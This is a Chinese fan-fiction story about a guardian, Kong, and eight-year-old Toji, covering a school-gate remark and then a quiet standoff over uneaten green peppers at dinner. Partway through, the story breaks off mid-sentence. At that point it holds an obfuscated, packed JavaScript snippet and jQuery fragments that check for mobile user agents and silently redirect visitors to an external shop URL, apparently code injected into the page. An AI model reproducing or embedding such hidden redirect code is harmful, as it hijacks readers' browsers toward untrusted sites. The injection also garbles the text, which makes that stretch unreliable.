四点的校门口，一片妈妈。
孔时雨夹在中间，高出一圈大半头。一身西装，手里没拎印着卡通图案的水壶、外套、备用伞。他像根插错地方的电线杆。
妈妈们三三两两凑在一起，聊补习班、聊谁家孩子钢琴升了级、聊哪个老师手松手紧。孔站在这堆话外头。他没想听，可眼睛耳朵不听使唤——哪个妈是这堆的头，谁跟谁在暗里较劲，谁家最近不太平，不想读也读出来了。吃这碗饭吃的。
放学铃响起，孩子从门里涌出来。
有个妈妈拿着夹板登记周末什么活动，秋游还是亲子工作坊，孔没细听。挨个问小孩去不去。
轮到谁都一个说法。
“我回去问问妈妈。”
“我得问我爸。”
“我妈说要看那天有没有课。”
有个话还没问完，先扭头去找自己妈，眼神黏过去。边上一个妈妈手搭在自家孩子肩上，孩子嘴还没张，她先替着答应了半句。
问到甚尔。
“不去。”甚尔说。
干干脆脆。没回头看孔一眼——孔就在他后头两步远。
这小鬼，去不去，他自己就定了，问都没往孔这边问一声。孔站在这儿，跟那妈妈手里的夹板一样，是个摆设。
那妈妈笑了笑，半是夸奖，“伏黑君真独立啊。”
顿了一下。
“……是不是有点太自由了。”
孔靠读人吃饭。这种话一耳朵就拆开了。“独立”是面子上的客气，“太自由”才是底下那层，再往下还压着一句没出口的——你这当家长的，到底管不管。
他没接茬。“嗯，挺独立。”
甚尔背着书包走过来，站到他边上。没问那句话什么意思。孔也没解释。两人往车那边走。
回去的车上甚尔照旧看窗外，下巴搁在车窗边。那句话在孔脑子里没散。
——
回到家天擦黑了。
孔把西装外套往椅背上一搭，袖子撸到小臂，系上那条超市买菜送的围裙——他懒得扔。烟叼在嘴角，火上坐着锅。
切肉、切青椒、拍蒜。刀工利落，倒像在处理别的什么。油下锅炸响，一星烟灰差点掉进去，他偏头弹了。
青椒是今早顺手买的，超市筐子摆门口，打折，拿的时候没想这茬。
甚尔在客厅打游戏，听见油响就过来摆碗筷。不用招呼——孔开火，他摆桌。
晚饭是青椒炒肉。
这顿饭吃得没什么声。各吃各的，孔扒饭、翻手机里的单子，甚尔挑他的青椒，谁也不碍谁。挺好。
甚尔端起碗，筷子在盘里挑，把青椒一块一块拨到盘沿，堆成小小一堆。肉和饭扒得干干净净，一粒米不剩。动作熟稔，不是今天才这样——孔看他这么挑过不知多少回，从没管。
到底是八岁小鬼的口味，凡是绿的、带点苦的，他一概当不存在。
平时无所谓。他个头不小，骨头结实，跑跳比谁都灵。天与咒缚吃土也能长成这样。青椒对他有用没用，孔心里比谁都有数——毛线用没有。
可下午那句还压在那儿。
真要较真，那句“太自由”孔也掰不回来。青椒倒是掰得动。
孔放下筷子。
“吃了。”他下巴点了点那堆青椒。
甚尔抬眼，“为什么？”
孔没有为什么。他张了张嘴，“因为有营养”？“因为小孩得吃菜”？这些话搁在他们俩中间，假得他自己都说不出口。两人谁都清楚，这家伙不靠这个长大。
“吃完才能下桌。”
就这一句。不讲理由。理由他也没有，自己清楚。可他还是说了。
甚尔看了看那堆青椒，又看了看他。
没说话。筷子没动。
——
桌上安静下来。
谁也没动。甚尔该吃的早扒完了，剩下就这一小堆绿的横在碗沿。他不夹它，也不夹别的，手搁在桌边，等着。孔也不催。催没用。这种局他比谁都清楚，先开口催的，是先沉不住气的那方。
冰箱在墙角嗡了一声，又停了。楼上谁拖了下椅子。窗外刮进来一阵风，晾在阳台上的衣架碰在一起响了两声。
时间就这么耗着。
耗了不知多久，孔才发觉自己那只手不知什么时候在桌沿上敲起来了。三长一短，老节奏——审讯室里跟人耗、等对面先开口的时候，他这手就这么敲。多少年的习惯，不过脑子，手自己就动上了。
甚尔的眼睛落到那几根手指上，看了两秒，又收回去。什么也没说。
门铃响了。
“甚尔——！”翔太隔着门，嗓门先撞进来，穿透力惊人，隔壁的狗都跟着叫了两声。
“出来玩不！踢球！”又补一句，“叔叔好——！”
孔起身，把门拉开一条缝。
“抱歉啊，今天家里有事，下次。”
门关上了。门外那串脚步嘟囔了句什么，蹬蹬蹬跑远了。
家里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637320|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的事，就是桌上那盘青椒。
这一茬孔自己听着都想笑。他没笑，坐回去了。
青椒还在，甚尔还坐着，姿势都没变。
时间一点点过。菜的余温散尽了，盘边那点油凝出一层白。窗外天黑透了。
孔摸出烟，点上。桌对面这个八岁的根本没有“先开口”这一说，他连僵着都僵得心平气和，跟那堆青椒一样，戳不动、急不来。
甚尔不闹，不耍赖，也没趁孔刚才起身开门那会儿把青椒扒拉到桌子底下去——他没学过小孩那些花招，桌底下也没有狗。他就那么坐着，腰背溜直，手搁膝盖上，像在等一件跟自己没多大关系的事自己过去。
他不是跟孔较劲。他是真没想明白这堆绿东西凭什么值得僵这么久。
说实话，孔也说不太清。
那根烟抽到了头，孔摁了，烟瘾又顶上来，再点一根。手肘支着桌子，烟在指间燃。
两个大活人隔着一张桌子，为一小堆青椒卡在这儿，跟一单谈崩了、谁都不肯先松口的买卖一个样。这种桌子孔坐过更难的，对面摆的也不是青椒，松口的代价也不是多嚼几下。他耗得起。
他这辈子耗赢过的那些桌子，结果都进了谁的卷宗。今天这张，赌注是一小堆青椒。
他也是真想不明白。
最后甚尔盯着那堆青椒看了很长一会儿。
孔看着他看，看不出他在想什么。也许是算明白了这玩意儿吃下去也不掉块肉，也许是觉得孔今天反常，而反常的孔背后通常有点说法，哪怕他这回没看出来是什么。
反正不是为了讨孔高兴。这家伙不干那个。
然后甚尔拿起筷子，夹了一块青椒，先闻一下，皱皱眉放进嘴里。嚼，咽下去，没死。又一块。一块接一块，面无表情，像在清一笔不大不小、迟早得清的账。
凑合吧。
孔搭在桌沿的手指停了。指间那根烟烧到了头，灰积了长长一截，他没弹。
甚尔把最后一块咽下去，放下筷子。
“可以了？”
“嗯。”孔说。“去写作业。”
甚尔站起来，走了，进屋带上房门。
桌上那盘菜空了，干干净净，那堆青椒原先占的地方空了。
孔把烧到头的烟摁灭，点了根新的。
为一小堆青椒，跟一个八岁小鬼耗了大半个钟头。赢了。
监护人。
阿一西。
他往椅背上一靠，烟抽得很慢。